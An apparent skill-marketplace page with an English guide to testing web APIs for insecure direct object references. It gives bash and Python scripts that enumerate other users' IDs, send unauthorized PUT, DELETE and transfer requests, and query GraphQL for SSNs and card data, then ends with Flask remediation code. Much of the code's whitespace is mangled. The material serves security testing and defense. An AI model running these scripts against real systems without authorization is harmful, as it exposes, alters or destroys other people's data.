Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Testing for Insecure Direct Object References (IDOR)
High-Level Description
Insecure Direct Object References (IDOR) occur when an application uses user-supplied input to access objects directly without proper authorization checks. Attackers can modify parameters like IDs, filenames, or keys to access unauthorized resources belonging to other users. IDOR is a form of broken access control and can lead to unauthorized data disclosure, modification, or deletion.
What to Check
Common IDOR Parameters
User IDs (user_id, uid, userId)
Document/File IDs (doc_id, file_id)
Order IDs (order_id, orderId)
Account numbers
Transaction IDs
Message/Email IDs
UUIDs/GUIDs (if predictable)
Encoded values (Base64, hex)
Hashed values (if weak)
IDOR Locations
Location
Example
URL path
/api/users/123/profile
Query string
/download?file_id=456
Request body
{"user_id": 789}
Headers
X-User-ID: 123
Cookies
user_id=123
How to Test
Step 1: Identify Object References
# Look for numeric IDs in requests# Monitor API calls for patterns like:# /api/users/123# /api/orders/456# /api/documents/789# Common endpoints to check
endpoints=(
"/api/users/{id}"
)
"/api/users/{id}/profile"
"/api/users/{id}/orders"
"/api/users/{id}/documents"
"/api/accounts/{id}"
"/api/transactions/{id}"
"/api/messages/{id}"
"/api/invoices/{id}"
"/api/files/{id}"
# Replace {id} with actual and target IDs to test
Step 2: Test Sequential ID Manipulation
#!/bin/bash# Test accessing other users' resources by ID manipulation
TOKEN="your_auth_token"
OWN_ID=100
BASE_URL="https://target.com"# Test accessing nearby IDsforidin $(seq 95 105); doif [ "$id" != "$OWN_ID" ]; then
response=$(curl -s -w "\n%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"$BASE_URL/api/users/$id/profile")
status=$(echo"$response" | tail -1)
body=$(echo"$response" | sed '$d')
if [ "$status" == "200" ]; thenecho"[VULN] IDOR: Accessed user $id"echo"Data: $(echo $body | head -c 200)"fifidone
Step 3: Test IDOR in Different HTTP Methods
#!/bin/bash# Test IDOR across HTTP methods
TOKEN="your_auth_token"
TARGET_ID=101 # Other user's ID
BASE_URL="https://target.com"# GET - Read dataecho"=== Testing GET ==="
curl -s -X GET "$BASE_URL/api/users/$TARGET_ID/profile" \
-H "Authorization: Bearer $TOKEN"# PUT - Modify dataecho"=== Testing PUT ==="
curl -s -X PUT "$BASE_URL/api/users/$TARGET_ID/profile" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name": "Hacked"}'# DELETE - Delete resourceecho"=== Testing DELETE ==="
curl -s -X DELETE "$BASE_URL/api/users/$TARGET_ID/profile" \
-H "Authorization: Bearer $TOKEN"# POST - Create with someone else's IDecho"=== Testing POST ==="
curl -s -X POST "$BASE_URL/api/users/$TARGET_ID/orders" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product": "item1"}'
Step 4: Test UUID/GUID Enumeration
#!/bin/bash# UUIDs are not immune to IDOR if they can be discovered# Check if UUIDs are exposed in:# - API responses listing resources# - URL referer headers# - JavaScript source code# - Error messages# - Public profiles# Test with discovered UUIDs
curl -s "https://target.com/api/documents/550e8400-e29b-41d4-a716-446655440000" \
-H "Authorization: Bearer $TOKEN"# Check if UUID format validation is enforced# Invalid UUIDs might reveal information
curl -s "https://target.com/api/documents/invalid-uuid" \
-H "Authorization: Bearer $TOKEN"
Step 5: Test Encoded/Hashed References
#!/bin/bash# Test Base64 encoded IDs# Decode current reference
current_ref="MTIz"# Base64 of "123"
decoded=$(echo"$current_ref" | base64 -d)
echo"Decoded: $decoded"# Encode other IDsforidin {120..130}; do
encoded=$(echo -n "$id" | base64)
response=$(curl -s -o /dev/null -w "%{http_code}" \
"https://target.com/api/data/$encoded" \
-H "Authorization: Bearer $TOKEN")
if [ "$response" == "200" ]; thenecho"[VULN] IDOR with encoded ID $id ($encoded)"fidone# Test hex encoded IDsforidin {120..130}; do
hex=$(printf'%x'$id)
response=$(curl -s -o /dev/null -w "%{http_code}" \
"https://target.com/api/data/$hex" \
-H "Authorization: Bearer $TOKEN")
if [ "$response" == "200" ]; thenecho"[VULN] IDOR with hex ID $hex"fidone
Step 6: Test IDOR in Request Body
# IDOR in JSON body
curl -s -X POST "https://target.com/api/transfer" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"from_account": "OTHER_USER_ACCOUNT",
"to_account": "MY_ACCOUNT",
"amount": 100
}'# IDOR with user_id in body
curl -s -X GET "https://target.com/api/user/orders" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"user_id": 101}'# IDOR in form data
curl -s -X POST "https://target.com/api/export" \
-H "Authorization: Bearer $TOKEN" \
-d "user_id=101&format=csv"
Step 7: Comprehensive IDOR Tester
#!/usr/bin/env python3import requests
import base64
import json
from concurrent.futures import ThreadPoolExecutor
classIDORTester:
def__init__(self, base_url, auth_token, own_id):
self.base_url = base_url
self.own_id = own_id
self.session = requests.Session()
self.session.headers.update({
"Authorization": f"Bearer {auth_token}",
"Content-Type": "application/json"
})
self.vulnerabilities = []
deftest_numeric_idor(self, endpoint_template, id_range=range(1, 100)):
"""Test numeric ID manipulation"""print(f"\n[*] Testing numeric IDOR on: {endpoint_template}")
for test_id in id_range:
if test_id == self.own_id:
continue
endpoint = endpoint_template.replace("{id}", str(test_id))
try:
response = self.session.get(f"{self.base_url}{endpoint}")
if response.status_code == 200:
# Check if we got actual datatry:
data = response.json()
if data andlen(str(data)) > 10:
print(f"[VULN] IDOR at ID {test_id}: {endpoint}")
self.vulnerabilities.append({
"type": "numeric",
"endpoint": endpoint,
"id": test_id,
"method": "GET"
})
except:
passexcept Exception as e:
passreturnself.vulnerabilities
deftest_write_idor(self, endpoint_template, test_ids):
"""Test IDOR for write operations"""print(f"\n[*] Testing write IDOR on: {endpoint_template}")
methods = ["PUT", "PATCH", "DELETE"]
for test_id in test_ids:
if test_id == self.own_id:
continue
endpoint = endpoint_template.replace("{id}", str(test_id))
for method in methods:
try:
if method == "DELETE":
# Don't actually delete - just test response
response = self.session.request(
method,
f"{self.base_url}{endpoint}",
timeout=5
)
else:
response = self.session.request(
method,
f"{self.base_url}{endpoint}",
json={"test": "data"},
timeout=5
)
if response.status_code in [200, 204]:
print(f"[VULN] Write IDOR: {method}{endpoint}")
self.vulnerabilities.append({
"type": "write",
"endpoint": endpoint,
"id": test_id,
"method": method
})
except:
passreturnself.vulnerabilities
deftest_body_idor(self, endpoint, param_name, test_ids):
"""Test IDOR in request body"""print(f"\n[*] Testing body IDOR on: {endpoint} ({param_name})")
for test_id in test_ids:
if test_id == self.own_id:
continuetry:
response = self.session.post(
f"{self.base_url}{endpoint}",
json={param_name: test_id}
)
if response.status_code == 200:
print(f"[VULN] Body IDOR with {param_name}={test_id}")
self.vulnerabilities.append({
"type": "body",
"endpoint": endpoint,
"parameter": param_name,
"id": test_id
})
except:
passreturnself.vulnerabilities
deftest_encoded_idor(self, endpoint_template, test_ids, encoding='base64'):
"""Test IDOR with encoded IDs"""print(f"\n[*] Testing {encoding} encoded IDOR on: {endpoint_template}")
for test_id in test_ids:
if test_id == self.own_id:
continueif encoding == 'base64':
encoded = base64.b64encode(str(test_id).encode()).decode()
elif encoding == 'hex':
encoded = hex(test_id)[2:]
else:
encoded = str(test_id)
endpoint = endpoint_template.replace("{id}", encoded)
try:
response = self.session.get(f"{self.base_url}{endpoint}")
if response.status_code == 200:
print(f"[VULN] Encoded IDOR: {test_id} -> {encoded}")
self.vulnerabilities.append({
"type": f"encoded_{encoding}",
"endpoint": endpoint,
"original_id": test_id,
"encoded_id": encoded
})
except:
passreturnself.vulnerabilities
deftest_parameter_pollution(self, endpoint, param_name):
"""Test HTTP Parameter Pollution for IDOR"""print(f"\n[*] Testing HPP IDOR on: {endpoint}")
# Test sending multiple IDs
payloads = [
f"{param_name}={self.own_id}&{param_name}=101",
f"{param_name}=101&{param_name}={self.own_id}",
f"{param_name}[]={self.own_id}&{param_name}[]=101",
]
for payload in payloads:
try:
response = self.session.get(
f"{self.base_url}{endpoint}?{payload}"
)
if response.status_code == 200:
# Check if other user's data returnedif"101"in response.text orstr(101) in response.text:
print(f"[VULN] HPP IDOR: {payload}")
self.vulnerabilities.append({
"type": "hpp",
"endpoint": endpoint,
"payload": payload
})
except:
passreturnself.vulnerabilities
defgenerate_report(self):
"""Generate IDOR testing report"""print("\n" + "="*60)
print("IDOR TESTING REPORT")
print("="*60)
ifnotself.vulnerabilities:
print("\nNo IDOR vulnerabilities found.")
returnprint(f"\nTotal vulnerabilities: {len(self.vulnerabilities)}\n")
# Group by type
by_type = {}
for vuln inself.vulnerabilities:
vuln_type = vuln['type']
if vuln_type notin by_type:
by_type[vuln_type] = []
by_type[vuln_type].append(vuln)
for vuln_type, vulns in by_type.items():
print(f"\n{vuln_type.upper()} ({len(vulns)} findings):")
for v in vulns:
print(f" - {v.get('endpoint', v)}")
# Usage
tester = IDORTester(
base_url="https://target.com",
auth_token="your_token_here",
own_id=100
)
# Test various endpoints
endpoints = [
"/api/users/{id}/profile",
"/api/users/{id}/orders",
"/api/accounts/{id}",
"/api/documents/{id}",
]
for endpoint in endpoints:
tester.test_numeric_idor(endpoint, range(95, 110))
tester.test_write_idor(endpoint, [101, 102, 103])
# Test body IDOR
tester.test_body_idor("/api/user/data", "user_id", [101, 102, 103])
# Generate report
tester.generate_report()
Step 8: Test GraphQL IDOR
# GraphQL IDOR testing
curl -s -X POST "https://target.com/graphql" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "query { user(id: 101) { id name email ssn creditCard } }"
}'# Test with variables
curl -s -X POST "https://target.com/graphql" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"query": "query GetUser($id: ID!) { user(id: $id) { id name email } }",
"variables": {"id": "101"}
}'# Enumerate using introspection
curl -s -X POST "https://target.com/graphql" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { types { name fields { name } } } }"}'
Tools
IDOR Testing
Tool
Description
Usage
Burp Intruder
ID enumeration
Numeric/payload fuzzing
Autorize (Burp)
Authorization testing
Compare responses
OWASP ZAP
Active scanning
Automated testing
Postman
API testing
Collection runner
ID Discovery
Tool
Description
Burp Logger++
Request logging
ParamMiner
Parameter discovery
JavaScript analysis
Extract IDs from code
Remediation Guide
1. Implement Authorization Checks
from functools import wraps
from flask import request, g, abort
defauthorize_resource_access(resource_type):
"""Decorator to verify resource ownership"""defdecorator(f):
@wraps(f)defdecorated_function(*args, **kwargs):
resource_id = kwargs.get('id')
# Get resource from database
resource = get_resource(resource_type, resource_id)
ifnot resource:
abort(404)
# Check ownership or admin statusif resource.owner_id != g.current_user.id:
ifnot g.current_user.has_role('admin'):
abort(403)
return f(*args, **kwargs)
return decorated_function
return decorator
# Usage@app.route('/api/documents/<int:id>')@require_auth@authorize_resource_access('document')defget_document(id):
return Document.query.get(id).to_json()
2. Use Indirect References
import secrets
import hashlib
classIndirectReferenceMap:
"""Map direct IDs to indirect references"""def__init__(self, user_id):
self.user_id = user_id
self.cache = {}
defcreate_reference(self, direct_id, resource_type):
"""Create an indirect reference for a resource"""# Generate unique indirect reference
seed = f"{self.user_id}:{resource_type}:{direct_id}:{secrets.token_hex(8)}"
indirect_ref = hashlib.sha256(seed.encode()).hexdigest()[:16]
# Store mapping in database (per user session)
IndirectMapping.create(
user_id=self.user_id,
indirect_ref=indirect_ref,
direct_id=direct_id,
resource_type=resource_type
)
return indirect_ref
defresolve_reference(self, indirect_ref, resource_type):
"""Resolve indirect reference to direct ID"""
mapping = IndirectMapping.query.filter_by(
user_id=self.user_id,
indirect_ref=indirect_ref,
resource_type=resource_type
).first()
ifnot mapping:
returnNonereturn mapping.direct_id
# Usage@app.route('/api/documents/<ref>')@require_authdefget_document(ref):
ref_map = IndirectReferenceMap(current_user.id)
document_id = ref_map.resolve_reference(ref, 'document')
ifnot document_id:
abort(404)
return Document.query.get(document_id).to_json()
3. Query-Based Authorization
from sqlalchemy import and_
classSecureResourceQuery:
"""Always include ownership in queries""" @staticmethoddefget_user_document(document_id, user_id):
"""Get document only if user owns it"""return Document.query.filter(
and_(
Document.id == document_id,
Document.owner_id == user_id
)
).first()
@staticmethoddefget_user_orders(user_id):
"""Get orders for specific user only"""return Order.query.filter_by(user_id=user_id).all()
# Usage in routes@app.route('/api/documents/<int:id>')@require_authdefget_document(id):
document = SecureResourceQuery.get_user_document(id, current_user.id)
ifnot document:
abort(404) # Don't reveal existencereturn document.to_json()
4. Use UUIDs Instead of Sequential IDs
import uuid
from sqlalchemy.dialects.postgresql import UUID
classDocument(db.Model):
# Use UUID as primary key instead of sequential integerid = db.Column(UUID(as_uuid=True), primary_key=True, default=uuid.uuid4)
owner_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
content = db.Column(db.Text)
# Still implement authorization checks - UUIDs are NOT a security control